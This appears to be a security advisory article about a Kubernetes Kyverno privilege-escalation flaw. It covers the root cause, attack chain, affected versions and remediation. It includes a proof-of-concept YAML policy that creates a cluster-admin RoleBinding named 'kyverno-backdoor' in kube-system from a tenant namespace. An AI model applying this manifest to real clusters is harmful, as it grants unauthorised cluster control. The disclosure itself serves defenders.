CVE-2026-54523: Kyverno Policy Engine Namespace Privilege Escalation, PoC Public
Kyverno disclosed critical CVE-2026-54523 (CVSS 9.6). A namespace tenant can escalate to kube-system admin via a malicious policy. PoC is public; multi-tenant isolation is at risk.
On 17 July 2026, Kyverno—a widely used Kubernetes-native policy engine—was disclosed with a critical privilege-escalation flaw, CVE-2026-54523, CVSS 9.6. A namespace tenant can escalate to admin in any namespace, including `kube-system`.
Incident overview
Kyverno is a leading Kubernetes policy engine, widely deployed in production by finance, cloud providers, and large enterprises for security governance, resource compliance, and admission control. The bug sits in the policy engine itself—the tool installed to enforce security is the highest-risk attack vector.
Technical details and a full PoC are public. Exploitation barrier is low. Researchers warn ransomware weaponization is a matter of time.
Technical details
Root cause
Bug is in Kyverno NamespacedGeneratingPolicy. In the CEL generator, `apply()` takes a target namespace argument. Kyverno never checks that argument against the policy's own namespace.
A malicious tenant can point the generator at any namespace—including `kube-system`. Kyverno's background controller has cluster-level privileges by default and can create RoleBinding, Role, ConfigMap, and NetworkPolicy resources.
Attack chain
- Attacker publishes a malicious policy in a namespace where they can create NamespacedGeneratingPolicy
- Generator in the policy targets the destination namespace (e.g. `kube-system`)
- Kyverno controller creates a RoleBinding in the target namespace with cluster-level privileges
- Attacker gains admin on the target namespace
PoC core logic
apiVersion: kyverno.io/v1alpha2
kind: NamespacedGeneratingPolicy
metadata:
name: cve-2026-54523-exploit
namespace: test-ns # attacker-controlled namespace
spec:
rules:
- name: cross-ns-escalate
match:
resources:
kinds: ["ConfigMap"]
generate:
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
namespace: kube-system # cross-namespace targeting the system namespace
name: kyverno-backdoor
subject:
- kind: ServiceAccount
name: default
namespace: test-ns
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
Impact
| Attribute | Details | | --- | --- | | Impacted versions | Kyverno 1.18.1 and earlier | | Fixed version | Kyverno 1.18.2 | | Exploit requirements | NamespacedGeneratingPolicy create permission | | In-the-wild | Unconfirmed; PoC is public | | Affected platforms | OpenShift, Rancher, EKS, AKS, GKE, and other distros running Kyverno |
Remediation
Immediate actions
- Patch now: upgrade Kyverno to 1.18.2 or later
- Privilege review: audit all users and service accounts with NamespacedGeneratingPolicy create rights; revoke unnecessary access
- Audit logs: inspect Kyverno controller logs for anomalous cross-namespace resource generation
Long-term hardening
- Least privilege on the policy engine; drop unnecessary cluster-level controller rights
- In multi-tenant clusters, use isolated policy instances or strict namespace isolation
- Deploy an admission webhook to extra-validate NamespacedGeneratingPolicy
- Run the Kyverno controller under an unprivileged ServiceAccount
Sources
- SecurityOnline: CVE-2026-54523 technical analysis and PoC
- Kyverno official security advisory
- NVD CVE-2026-54523